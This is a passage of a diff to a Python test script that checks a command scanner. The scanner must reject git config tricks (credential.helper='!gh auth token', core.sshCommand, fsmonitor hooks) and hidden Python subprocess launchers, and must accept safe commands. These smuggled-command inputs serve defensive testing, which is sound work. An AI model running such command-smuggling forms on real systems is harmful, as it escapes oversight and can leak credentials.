packet[scanner_start:scanner_end].replace( +parent_sha = "21f258a4215c667c245abb44ea419eb7901de2ad" +parent_packet = subprocess.check_output( + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent_sha}:docs/evidence/g01-recovery-packet.md"], + text=True, +) +anchor = parent_packet.index("def forbidden_command(tokens, depth=0):") +start = parent_packet.rfind("source = Path(", 0, anchor) +end = parent_packet.index("\nmatches = []", anchor) +scanner = parent_packet[start:end].replace( 'source = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8")', 'source = ""', 1, ) -scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} -exec(compile(scanner, "", "exec"), scanner_ns) -for command in ( - "git --exec-path=/synthetic/helper status", - "git --exec-path /synthetic/helper status", - "nice -n 5 gh workflow run ci.yml", - "timeout 30s docker run image:tag true", - "setsid gh api repos/example/project", - "git -c core.fsmonitor=/synthetic/hook status", - "git -c core.fsmonitor=true status", - "git -c core.sshCommand='gh api x' fetch origin", - "git -c credential.helper='!gh auth token' fetch origin", -): - segments = scanner_ns["shell_token_segments"](command) - if not segments or not any( - scanner_ns["forbidden_command"](segment) is not None - for segment in segments - ): - raise SystemExit(f"delegation escaped candidate scanner: {command!r}") -for command in ( - "git status", - "git -c core.fsmonitor=false status", - "git -c user.name=probe status", - "printf safe", -): - segments = scanner_ns["shell_token_segments"](command) - if not segments or any( - scanner_ns["forbidden_command"](segment) is not None - for segment in segments - ): - raise SystemExit(f"safe boundary rejected: {command!r}") -print("GREEN 4006874715: git --exec-path split/equals delegation rejected before generic Git classification; safe Git status retained") -for body in ( - 'import subprocess\nlaunchers = {"run": subprocess.run}\nlaunchers["run"](["gh", "api", "x"])\n', - 'import os\nlaunchers = {"system": os.system}\nlaunchers["system"]("docker version")\n', - 'import subprocess\nlaunchers = {"run": subprocess.run}\nlaunchers.get("run")(["gh", "api", "x"])\n', - 'import subprocess\nlaunchers = {"run": subprocess.run}\nlaunchers[name](command)\n', - 'launchers = {"run": unknown}\nlaunchers["run"](command)\n', -): - if scanner_ns["inspect_python_heredoc"](body, False) is None: - raise SystemExit(f"mapping launcher escaped candidate AST scanner: {body!r}") -if scanner_ns["inspect_python_heredoc"]( - 'import subprocess\nsubprocess.run(["printf", "safe"])\n', False -) is not None: - raise SystemExit("safe direct Python launcher rejected") -print("GREEN 4006874734: mapping/subscript/.get known and unresolved Python launchers rejected; safe direct launcher retained") -wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 -wrapper_end = packet.index("\nPY\n}", wrapper_start) -wrapper = packet[wrapper_start:wrapper_end] -module = ast.parse(wrapper, filename="") -cgo_calls = [] -for node in ast.walk(module): - if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)): - continue - if not ( - isinstance(node.func.value, ast.Name) - and node.func.value.id == "subprocess" - and node.func.attr == "run" - ): - continue - if ( - node.args - and isinstance(node.args[0], ast.List) - and len(node.args[0].elts) == 2 - and isinstance(node.args[0].elts[0], ast.Name) - and node.args[0].elts[0].id == "resolved_cgo_path" - and isinstance(node.args[0].elts[1], ast.Constant) - and node.args[0].elts[1].value == "--version" - ): - cgo_calls.append(node) -if cgo_calls: - raise SystemExit("unbounded subprocess.run cgo capture remains") -for marker in ( - "def capture_cgo_version_output", - "def run_cgo_version_child", - "reviewed_cgo_version_max_bytes = 4096", - "reviewed_cgo_version_stream_chunk_bytes = 4096", - "run_cgo_version_child(resolved_cgo_path)", - "start_new_session=True", -): - if marker not in wrapper: - raise SystemExit(f"bounded cgo marker missing: {marker}") -selected = [] -for node in module.body: - if isinstance(node, ast.Assign) and any( - isinstance(target, ast.Name) - and target.id in { - "reviewed_cgo_version_max_bytes", - "reviewed_cgo_version_timeout_seconds", - "reviewed_cgo_version_stream_chunk_bytes", - } - for target in node.targets - ): - selected.append(node) - if isinstance(node, ast.FunctionDef) and node.name == "capture_cgo_version_output": - selected.append(node) -helper_ns = { - "ast": ast, - "os": os, - "selectors": selectors, - "subprocess": subprocess, - "time": time, - "label": "cgo-boundary", -} -exec(compile(ast.Module(body=selected, type_ignores=[]), "", "exec"), helper_ns) +namespace = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} +exec(compile(scanner, "", "exec"), namespace) -def fake_process(payload): - out_read, out_write = os.pipe() - err_read, err_write = os.pipe() - os.write(out_write, payload) - os.close(out_write) - os.close(err_write) - return SimpleNamespace( - stdout=os.fdopen(out_read, "rb"), - stderr=os.fdopen(err_read, "rb"), - returncode=0, - wait=lambda timeout=None: 0, - ) +def inspect(body): + return namespace["inspect_python_heredoc"](body, True) + +def rejected(value): + return any(item is not None for item in value) if isinstance(value, list) else value is not None -proc = fake_process(b"Apple clang version 21.0.0 (clang-2100.1.1.101)\n") -stdout, stderr = helper_ns["capture_cgo_version_output"]( - proc, ["/usr/bin/clang", "--version"] -) -if stdout != b"Apple clang version 21.0.0 (clang-2100.1.1.101)\n" or stderr: - raise SystemExit("bounded cgo capture changed valid banner") -proc = fake_process(b"x" * 4097) -try: - helper_ns["capture_cgo_version_output"](proc, ["/usr/bin/clang", "--version"]) -except SystemExit: - for stream in (proc.stdout, proc.stderr): - stream.close() -else: - raise SystemExit("bounded cgo capture accepted oversized output") -print("GREEN 4006874746: clang --version uses owned streaming capture with 4,096-byte/30-second bounds before UTF-8 validation; overflow rejected without compiler child") -for command in ( - "python3 -I - <<< 'import subprocess; subprocess.run([\"gh\", \"api\", \"x\"])'", - "printf 'import subprocess; subprocess.run([\\\"gh\\\", \\\"api\\\", \\\"x\\\"])' | python3 -I -", -): - segments = scanner_ns["shell_token_segments"](command) - if not segments or not any( - scanner_ns["forbidden_command"](segment) is not None - for segment in segments - ): - raise SystemExit(f"Python stdin form escaped candidate scanner: {command!r}") -heredoc = "```sh\npython3 -I - <